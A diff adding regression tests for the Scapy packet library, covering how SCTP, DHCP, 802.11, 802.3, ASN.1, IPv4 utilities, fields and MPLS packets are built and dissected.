+SCTPChunkParamIPv4Addr in p and p[SCTP].chksum == 0x402c0b5f and p[SCTPChunkParamIPv4Addr].addr == "127.0.0.1"
+
+= SCTP - SCTPChunkSACK - build
+s = raw(IP()/SCTP()/SCTPChunkSACK(gap_ack_list=["7:28"]))
+s == b'E\x00\x004\x00\x01\x00\x00@\x84|C\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00;\x01\xd4\x04\x03\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x1c'
+
+= SCTP - SCTPChunkSACK - dissection
+p = IP(s)
+SCTPChunkSACK in p and p[SCTP].chksum == 0x3b01d404 and p[SCTPChunkSACK].gap_ack_list[0] == "7:28"
+
+= SCTP - answers
+(IP()/SCTP()).answers(IP()/SCTP()) == True
+
+= SCTP basic header - Dissection
+~ sctp
+blob = b"\x1A\x85\x26\x94\x00\x00\x00\x0D\x00\x00\x04\xD2"
+p = SCTP(blob)
+assert(p.dport == 9876)
+assert(p.sport == 6789)
+assert(p.tag == 13)
+assert(p.chksum == 1234)
+
+= basic SCTPChunkData - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x61\x74\x61"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkData))
+assert(p.reserved == 0)
+assert(p.delay_sack == 0)
+assert(p.unordered == 0)
+assert(p.beginning == 0)
+assert(p.ending == 0)
+assert(p.tsn == 0)
+assert(p.stream_id == 0)
+assert(p.stream_seq == 0)
+assert(p.len == (len("data") + 16))
+assert(p.data == b"data")
+
+= basic SCTPChunkInit - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkInit))
+assert(p.flags == 0)
+assert(p.len == 20)
+assert(p.init_tag == 0)
+assert(p.a_rwnd == 0)
+assert(p.n_out_streams == 0)
+assert(p.n_in_streams == 0)
+assert(p.init_tsn == 0)
+assert(p.params == [])
+
+= SCTPChunkInit multiple valid parameters - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x5C\x00\x00\x00\x65\x00\x00\x00\x66\x00\x67\x00\x68\x00\x00\x00\x69\x00\x0C\x00\x06\x00\x05\x00\x00\x80\x00\x00\x04\xC0\x00\x00\x04\x80\x08\x00\x07\x0F\xC1\x80\x00\x80\x03\x00\x04\x80\x02\x00\x24\x87\x77\x21\x29\x3F\xDA\x62\x0C\x06\x6F\x10\xA5\x39\x58\x60\x98\x4C\xD4\x59\xD8\x8A\x00\x85\xFB\x9E\x2E\x66\xBA\x3A\x23\x54\xEF\x80\x04\x00\x06\x00\x01\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkInit))
+assert(p.flags == 0)
+assert(p.len == 92)
+assert(p.init_tag == 101)
+assert(p.a_rwnd == 102)
+assert(p.n_out_streams == 103)
+assert(p.n_in_streams == 104)
+assert(p.init_tsn == 105)
+assert(len(p.params) == 7)
+params = {type(param): param for param in p.params}
+assert(set(params.keys()) == {SCTPChunkParamECNCapable, SCTPChunkParamFwdTSN,
+                              SCTPChunkParamSupportedExtensions, SCTPChunkParamChunkList,
+                              SCTPChunkParamRandom, SCTPChunkParamRequestedHMACFunctions,
+                              SCTPChunkParamSupportedAddrTypes})
+assert(params[SCTPChunkParamECNCapable] == SCTPChunkParamECNCapable())
+assert(params[SCTPChunkParamFwdTSN] == SCTPChunkParamFwdTSN())
+assert(params[SCTPChunkParamSupportedExtensions] == SCTPChunkParamSupportedExtensions(len=7))
+assert(params[SCTPChunkParamChunkList] == SCTPChunkParamChunkList(len=4))
+assert(params[SCTPChunkParamRandom].len == 4+32)
+assert(len(params[SCTPChunkParamRandom].random) == 32)
+assert(params[SCTPChunkParamRequestedHMACFunctions] == SCTPChunkParamRequestedHMACFunctions(len=6))
+assert(params[SCTPChunkParamSupportedAddrTypes] == SCTPChunkParamSupportedAddrTypes(len=6))
+
+= basic SCTPChunkInitAck - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkInitAck))
+assert(p.flags == 0)
+assert(p.len == 20)
+assert(p.init_tag == 0)
+assert(p.a_rwnd == 0)
+assert(p.n_out_streams == 0)
+assert(p.n_in_streams == 0)
+assert(p.init_tsn == 0)
+assert(p.params == [])
+
+= SCTPChunkInitAck with state cookie - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x4C\x00\x00\x00\x65\x00\x00\x00\x66\x00\x67\x00\x68\x00\x00\x00\x69\x80\x00\x00\x04\x00\x0B\x00\x0D\x6C\x6F\x63\x61\x6C\x68\x6F\x73\x74\x00\x00\x00\xC0\x00\x00\x04\x80\x08\x00\x07\x0F\xC1\x80\x00\x00\x07\x00\x14\x00\x10\x9E\xB2\x86\xCE\xE1\x7D\x0F\x6A\xAD\xFD\xB3\x5D\xBC\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkInitAck))
+assert(p.flags == 0)
+assert(p.len == 76)
+assert(p.init_tag == 101)
+assert(p.a_rwnd == 102)
+assert(p.n_out_streams == 103)
+assert(p.n_in_streams == 104)
+assert(p.init_tsn == 105)
+assert(len(p.params) == 5)
+params = {type(param): param for param in p.params}
+assert(set(params.keys()) == {SCTPChunkParamECNCapable, SCTPChunkParamHostname,
+                              SCTPChunkParamFwdTSN, SCTPChunkParamSupportedExtensions,
+                              SCTPChunkParamStateCookie})
+assert(params[SCTPChunkParamECNCapable] == SCTPChunkParamECNCapable())
+assert(raw(params[SCTPChunkParamHostname]) == raw(SCTPChunkParamHostname(len=13, hostname="localhost")))
+assert(params[SCTPChunkParamFwdTSN] == SCTPChunkParamFwdTSN())
+assert(params[SCTPChunkParamSupportedExtensions] == SCTPChunkParamSupportedExtensions(len=7))
+assert(params[SCTPChunkParamStateCookie].len == 4+16)
+assert(len(params[SCTPChunkParamStateCookie].cookie) == 16)
+
+= basic SCTPChunkSACK - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkSACK))
+assert(p.flags == 0)
+assert(p.len == 16)
+assert(p.cumul_tsn_ack == 0)
+assert(p.a_rwnd == 0)
+assert(p.n_gap_ack == 0)
+assert(p.n_dup_tsn == 0)
+assert(p.gap_ack_list == [])
+assert(p.dup_tsn_list == [])
+
+= basic SCTPChunkHeartbeatReq - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkHeartbeatReq))
+assert(p.flags == 0)
+assert(p.len == 4)
+assert(p.params == [])
+
+= basic SCTPChunkHeartbeatAck - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkHeartbeatAck))
+assert(p.flags == 0)
+assert(p.len == 4)
+assert(p.params == [])
+
+= basic SCTPChunkAbort - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkAbort))
+assert(p.reserved == 0)
+assert(p.TCB == 0)
+assert(p.len == 4)
+assert(p.error_causes == b"")
+
+= basic SCTPChunkShutDown - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x08\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkShutdown))
+assert(p.flags == 0)
+assert(p.len == 8)
+assert(p.cumul_tsn_ack == 0)
+
+= basic SCTPChunkShutDownAck - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkShutdownAck))
+assert(p.flags == 0)
+assert(p.len == 4)
+
+= basic SCTPChunkError - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkError))
+assert(p.flags == 0)
+assert(p.len == 4)
+assert(p.error_causes == b"")
+
+= basic SCTPChunkCookieEcho - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkCookieEcho))
+assert(p.flags == 0)
+assert(p.len == 4)
+assert(p.cookie == b"")
+
+= basic SCTPChunkCookieAck - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkCookieAck))
+assert(p.flags == 0)
+assert(p.len == 4)
+
+= basic SCTPChunkShutdownComplete - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0E\x00\x00\x04"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkShutdownComplete))
+assert(p.reserved == 0)
+assert(p.TCB == 0)
+assert(p.len == 4)
+
+= basic SCTPChunkAuthentication - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x08\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkAuthentication))
+assert(p.flags == 0)
+assert(p.len == 8)
+assert(p.shared_key_id == 0)
+assert(p.HMAC_function == 0)
+
+= basic SCTPChunkAddressConf - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc1\x00\x00\x08\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkAddressConf))
+assert(p.flags == 0)
+assert(p.len == 8)
+assert(p.seq == 0)
+assert(p.params == [])
+
+= basic SCTPChunkAddressConfAck - Dissection
+~ sctp
+blob = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x08\x00\x00\x00\x00"
+p = SCTP(blob).lastlayer()
+assert(isinstance(p, SCTPChunkAddressConfAck))
+assert(p.flags == 0)
+assert(p.len == 8)
+assert(p.seq == 0)
+assert(p.params == [])
+
+= SCTPChunkParamRandom - Consecutive calls
+~ sctp
+param1, param2 = SCTPChunkParamRandom(), SCTPChunkParamRandom()
+assert(param1.random != param2.random)
+
+############
+############
++ DHCP
+
+= BOOTP - misc
+BOOTP().answers(BOOTP()) == True
+BOOTP().hashret() == b"\x00\x00\x00\x00"
+
+import random
+random.seed(0x2807)
+str(RandDHCPOptions()) == "[('WWW_server', '90.219.239.175')]"
+
+value = ("hostname", "scapy")
+dof = DHCPOptionsField("options", value)
+dof.i2repr("", value) == '[hostname scapy]'
+dof.i2m("", value) == b'\x0cscapy'
+
+unknown_value_end = b"\xfe" + b"\xff"*257
+udof = DHCPOptionsField("options", unknown_value_end)
+udof.m2i("", unknown_value_end) == [(254, b'\xff'*255), 'end']
+
+unknown_value_pad = b"\xfe" + b"\xff"*256 + b"\x00"
+udof = DHCPOptionsField("options", unknown_value_pad)
+udof.m2i("", unknown_value_pad) == [(254, b'\xff'*255), 'pad']
+
+= DHCP - build
+s = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="00:01:02:03:04:05")/DHCP(options=[("message-type","discover"),"end"]))
+assert s == b'E\x00\x01\x10\x00\x01\x00\x00@\x11{\xda\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x00\xfcf\xea\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0000:01:02:03:04:0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc5\x01\x01\xff'
+
+s2 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="05:04:03:02:01:00")/DHCP(options=[("param_req_list",[12,57,45,254]),("requested_addr", "192.168.0.1"),"end"]))
+assert s2 == b'E\x00\x01\x19\x00\x01\x00\x00@\x11{\xd1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01\x058\xeb\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0005:04:03:02:01:0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc7\x04\x0c9-\xfe2\x04\xc0\xa8\x00\x01\xff'
+
+= DHCP - dissection
+p = IP(s)
+assert DHCP in p and p[DHCP].options[0] == ('message-type', 1)
+
+p2 = IP(s2)
+assert DHCP in p2
+assert p2[DHCP].options[0] == ("param_req_list",[12,57,45,254])
+assert p2[DHCP].options[1] == ("requested_addr", "192.168.0.1")
+
+############
+############
++ 802.11
+
+= 802.11 - misc
+PrismHeader().answers(PrismHeader()) == True
+
+dpl = Dot11PacketList([Dot11()/LLC()/SNAP()/IP()/UDP()])
+len(dpl) == 1
+
+dpl_ether = dpl.toEthernet()
+len(dpl_ether) == 1 and Ether in dpl_ether[0]
+
+= Dot11 - build
+s = raw(Dot11())
+s == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= Dot11 - dissection
+p = Dot11(s)
+Dot11 in p and p.addr3 == "00:00:00:00:00:00"
+p.mysummary() == '802.11 Management 0 00:00:00:00:00:00 > 00:00:00:00:00:00'
+
+= Dot11QoS - build
+s = raw(Dot11(type=2, subtype=8)/Dot11QoS(TID=4))
+s == b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00'
+
+= Dot11 - binary in SSID
+pkt = Dot11() / Dot11Beacon() / Dot11Elt(ID=0, info=b"".join(chb(i) for i in range(32)))
+pkt.show()
+pkt.summary()
+assert pkt[Dot11Elt::{"ID": 0}].summary() in [
+    "SSID='%s'" % "".join(repr(chr(d))[1:-1] for d in range(32)),
+    'SSID="%s"' % "".join(repr(chr(d))[1:-1] for d in range(32)),
+]
+pkt = Dot11(raw(pkt))
+pkt.show()
+pkt.summary()
+assert pkt[Dot11Elt::{"ID": 0}].summary() in [
+    "SSID='%s'" % "".join(repr(chr(d))[1:-1] for d in range(32)),
+    'SSID="%s"' % "".join(repr(chr(d))[1:-1] for d in range(32)),
+]
+
+= Dot11QoS - dissection
+p = Dot11(s)
+Dot11QoS in p
+
+= Dot11 - answers
+query = Dot11(type=0, subtype=0)
+Dot11(type=0, subtype=1).answers(query) == True
+
+= Dot11 - misc
+assert Dot11Elt(info="scapy").summary() == "SSID='scapy'"
+assert Dot11Elt(ID=1).mysummary() == ""
+
+= Multiple Dot11Elt layers
+pkt = Dot11() / Dot11Beacon() / Dot11Elt(ID="Rates") / Dot11Elt(ID="SSID", info="Scapy")
+assert pkt[Dot11Elt::{"ID": 0}].info == b"Scapy"
+assert pkt.getlayer(Dot11Elt, ID=0).info == b"Scapy"
+
+= Dot11WEP - build
+~ crypto
+conf.wepkey = ""
+assert raw(PPI()/Dot11(FCfield=0x40)/Dot11WEP()) == b'\x00\x00\x08\x00i\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+conf.wepkey = "test123"
+assert raw(PPI()/Dot11(type=2, subtype=8, FCfield=0x40)/Dot11QoS()/Dot11WEP()) == b'\x00\x00\x08\x00i\x00\x00\x00\x88@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008(^a'
+
+= Dot11WEP - dissect
+~ crypto
+conf.wepkey = "test123"
+a = PPI(b'\x00\x00\x08\x00i\x00\x00\x00\x88@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008(^a')
+assert a[Dot11QoS][Dot11WEP].icv == 942169697
+
+= Dot11 - answers
+a = Dot11()/Dot11Auth(seqnum=1)
+b = Dot11()/Dot11Auth(seqnum=2)
+assert b.answers(a)
+assert not a.answers(b)
+
+assert not (Dot11()/Dot11Ack()).answers(Dot11())
+assert (Dot11()/LLC(dsap=2, ctrl=4)).answers(Dot11()/LLC(dsap=1, ctrl=5))
+
+
+############
+############
++ 802.3
+
+= Test detection
+
+assert isinstance(Dot3(raw(Ether())),Ether)
+assert isinstance(Ether(raw(Dot3())),Dot3)
+
+a = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00')
+assert isinstance(a,Dot3)
+assert a.dst == 'ff:ff:ff:ff:ff:ff'
+assert a.src == '00:00:00:00:00:00'
+
+a = Dot3(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x90\x00')
+assert isinstance(a,Ether)
+assert a.dst == 'ff:ff:ff:ff:ff:ff'
+assert a.src == '00:00:00:00:00:00'
+
+
+############
+############
++ ASN.1
+
+= MIB
+
+import tempfile
+fd, fname = tempfile.mkstemp()
+os.write(fd, b"-- MIB test\nscapy       OBJECT IDENTIFIER ::= {test 2807}\n")
+os.close(fd)
+
+load_mib(fname)
+assert(len([k for k in conf.mib.iterkeys() if "scapy" in k]) == 1)
+
+assert(len([oid for oid in conf.mib]) > 100)
+
+assert(conf.mib._my_find("MIB", "keyUsage"))
+
+assert(len(conf.mib._find("MIB", "keyUsage")))
+
+assert(len(conf.mib._recurs_find_all((), "MIB", "keyUsage")))
+
+= MIB - graph
+
+@mock.patch("scapy.asn1.mib.do_graph")
+def get_mib_graph(do_graph):
+    def store_graph(graph, **kargs):
+        assert graph.startswith("""digraph "mib" {""")
+        assert """"test.2807" [ label="scapy"  ];""" in graph
+    do_graph.side_effect = store_graph
+    conf.mib._make_graph()
+
+get_mib_graph()
+
+= DADict tests
+
+a = DADict("test")
+a.test_value = "scapy"
+with ContextManagerCaptureOutput() as cmco:
+    a._show()
+    assert(cmco.get_output() == "test_value = 'scapy'\n")
+
+b = DADict("test2")
+b.test_value_2 = "hello_world"
+
+a._branch(b, 1)
+try:
+    a._branch(b, 1)
+    assert False
+except DADict_Exception:
+    pass
+
+assert(len(a._find("test2")))
+
+assert(len(a._find(test_value_2="hello_world")))
+
+assert(len(a._find_all("test2")))
+
+assert(not a._recurs_find((a,)))
+
+assert(not a._recurs_find_all((a,)))
+
+= BER tests
+
+BER_id_enc(42) == '*'
+BER_id_enc(2807) == b'\xbfw'
+
+b = BERcodec_IPADDRESS()
+r1 = b.enc("8.8.8.8")
+r1 == b'@\x04\x08\x08\x08\x08'
+
+r2 = b.dec(r1)[0]
+r2.val == '8.8.8.8'
+
+
+############
+############
++ inet.py
+
+= IPv4 - ICMPTimeStampField
+test = ICMPTimeStampField("test", None)
+value = test.any2i("", "07:28:28.07")
+value == 26908070
+test.i2repr("", value) == '7:28:28.70'
+
+= IPv4 - UDP null checksum
+IP(raw(IP()/UDP()/Raw(b"\xff\xff\x01\x6a")))[UDP].chksum == 0xFFFF
+
+= IPv4 - (IP|UDP|TCP|ICMP)Error
+query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/UDP()/DNS()
+answer = IP(dst="192.168.0.254", src="192.168.0.2", ttl=1)/ICMP()/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/UDPerror()/DNS()
+
+query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/UDP()/DNS()
+answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/UDPerror()/DNS()
+assert(answer.answers(query) == True)
+
+query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/TCP()
+answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/TCPerror()
+
+assert(answer.answers(query) == True)
+
+query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/ICMP()/"scapy"
+answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/ICMPerror()/"scapy"
+assert(answer.answers(query) == True)
+
+= IPv4 - mDNS
+a = IP(dst="224.0.0.251")
+assert a.hashret() == b"\x00"
+
+# TODO add real case here
+
+= IPv4 - utilities
+l = overlap_frag(IP(dst="1.2.3.4")/ICMP()/("AB"*8), ICMP()/("CD"*8))
+assert(len(l) == 6)
+assert([len(raw(p[IP].payload)) for p in l] == [8, 8, 8, 8, 8, 8])
+assert([(p.frag, p.flags.MF) for p in [IP(raw(p)) for p in l]] == [(0, True), (1, True), (2, True), (0, True), (1, True), (2, False)])
+
+= IPv4 - traceroute utilities
+ip_ttl = [("192.168.0.%d" % i, i) for i in six.moves.range(1, 10)]
+
+tr_packets = [ (IP(dst="192.168.0.1", src="192.168.0.254", ttl=ttl)/TCP(options=[("Timestamp", "00:00:%.2d.00" % ttl)])/"scapy",
+                IP(dst="192.168.0.254", src=ip)/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/TCPerror()/"scapy")
+               for (ip, ttl) in ip_ttl ]
+
+tr = TracerouteResult(tr_packets)
+assert(tr.get_trace() == {'192.168.0.1': {1: ('192.168.0.1', False), 2: ('192.168.0.2', False), 3: ('192.168.0.3', False), 4: ('192.168.0.4', False), 5: ('192.168.0.5', False), 6: ('192.168.0.6', False), 7: ('192.168.0.7', False), 8: ('192.168.0.8', False), 9: ('192.168.0.9', False)}})
+
+def test_show():
+    with ContextManagerCaptureOutput() as cmco:
+        tr = TracerouteResult(tr_packets)
+        tr.show()
+        result_show = cmco.get_output()
+    expected = "  192.168.0.1:tcp80  \n"
+    expected += "1 192.168.0.1     11 \n"
+    expected += "2 192.168.0.2     11 \n"
+    expected += "3 192.168.0.3     11 \n"
+    expected += "4 192.168.0.4     11 \n"
+    expected += "5 192.168.0.5     11 \n"
+    expected += "6 192.168.0.6     11 \n"
+    expected += "7 192.168.0.7     11 \n"
+    expected += "8 192.168.0.8     11 \n"
+    expected += "9 192.168.0.9     11 \n"
+    index_result = result_show.index("\n1")
+    index_expected = expected.index("\n1")
+    assert(result_show[index_result:] == expected[index_expected:])
+
+test_show()
+
+def test_summary():
+    with ContextManagerCaptureOutput() as cmco:
+        tr = TracerouteResult(tr_packets)
+        tr.summary()
+        result_summary = cmco.get_output()
+    assert(len(result_summary.split('\n')) == 10)
+    assert(any(
+        "IP / TCP 192.168.0.254:%s > 192.168.0.1:%s S / Raw ==> "
+        "IP / ICMP 192.168.0.9 > 192.168.0.254 time-exceeded "
+        "ttl-zero-during-transit / IPerror / TCPerror / "
+        "Raw" % (ftp_data, http) in result_summary
+        for ftp_data in ['21', 'ftp_data']
+        for http in ['80', 'http', 'www_http', 'www']
+    ))
+
+test_summary()
+
+@mock.patch("scapy.layers.inet.plt")
+def test_timeskew_graph(mock_plt):
+    def fake_plot(data, **kwargs):
+        return data
+    mock_plt.plot = fake_plot
+    srl = SndRcvList([(a, a) for a in [IP(raw(p[0])) for p in tr_packets]])
+    ret = srl.timeskew_graph("192.168.0.254")
+    assert(len(ret) == 9)
+    assert(ret[0][1] == 0.0)
+
+test_timeskew_graph()
+
+tr = TracerouteResult(tr_packets)
+saved_AS_resolver = conf.AS_resolver
+conf.AS_resolver = None
+tr.make_graph()
+assert(len(tr.graphdef) == 491)
+tr.graphdef.startswith("digraph trace {") == True
+assert(('"192.168.0.9" ->' in tr.graphdef) == True)
+conf.AS_resolver = conf.AS_resolver
+
+pl = PacketList(list([Ether()/x for x in itertools.chain(*tr_packets)]))
+srl, ul = pl.sr()
+assert(len(srl) == 9 and len(ul) == 0)
+
+conf_color_theme = conf.color_theme
+conf.color_theme = BlackAndWhite()
+assert(len(pl.sessions().keys()) == 10)
+conf.color_theme = conf_color_theme
+
+new_pl = pl.replace(IP.src, "192.168.0.254", "192.168.0.42")
+assert("192.168.0.254" not in [p[IP].src for p in new_pl])
+
+= IPv4 - reporting
+
+@mock.patch("scapy.layers.inet.sr")
+def test_report_ports(mock_sr):
+    def sr(*args, **kargs):
+        return [(IP()/TCP(dport=65081, flags="S"), IP()/TCP(sport=65081, flags="SA")),
+                (IP()/TCP(dport=65082, flags="S"), IP()/ICMP(type=3, code=1)),
+                (IP()/TCP(dport=65083, flags="S"), IP()/TCP(sport=65083, flags="R"))], [IP()/TCP(dport=65084, flags="S")]
+    mock_sr.side_effect = sr
+    report = "\\begin{tabular}{|r|l|l|}\n\hline\n65081 & open & SA \\\\\n\hline\n?? & closed & ICMP type dest-unreach/host-unreachable from 127.0.0.1 \\\\\n65083 & closed & TCP R \\\\\n\hline\n65084 & ? & unanswered \\\\\n\hline\n\end{tabular}\n"
+    assert(report_ports("www.secdev.org", [65081,65082,65083,65084]) == report)
+
+test_report_ports()
+
+def test_IPID_count():
+    with ContextManagerCaptureOutput() as cmco:
+        random.seed(0x2807)
+        IPID_count([(IP()/UDP(), IP(id=random.randint(0, 65535))/UDP()) for i in range(3)])
+        result_IPID_count = cmco.get_output()
+    lines = result_IPID_count.split("\n")
+    assert(len(lines) == 5)
+    assert(lines[0] in ["Probably 3 classes: [4613, 53881, 58437]",
+                        "Probably 3 classes: [9103, 9227, 46399]"])
+
+test_IPID_count()
+
+
+############
+############
++ Fields
+
+= FieldLenField with BitField
+class Test(Packet):
+    name = "Test"
+    fields_desc = [
+        FieldLenField("BitCount", None, fmt="H", count_of="Values"),
+        FieldLenField("ByteCount", None, fmt="B", length_of="Values"),
+        FieldListField("Values", [], BitField("data", 0x0, size=1),
+                       count_from=lambda pkt: pkt.BitCount),
+    ]
+
+pkt = Test(raw(Test(Values=[0, 0, 0, 0, 1, 1, 1, 1])))
+assert(pkt.BitCount == 8)
+assert(pkt.ByteCount == 1)
+
+############
+############
++ MPLS tests
+
+= MPLS - build/dissection
+from scapy.contrib.mpls import MPLS
+p1 = MPLS()/IP()/UDP()
+assert(p1[MPLS].s == 1)
+p2 = MPLS()/MPLS()/IP()/UDP()
+assert(p2[MPLS].s == 0)
+
+p1[MPLS]
+p1[IP]
+p2[MPLS]
+p2[MPLS:1]
+p2[IP]
+
+
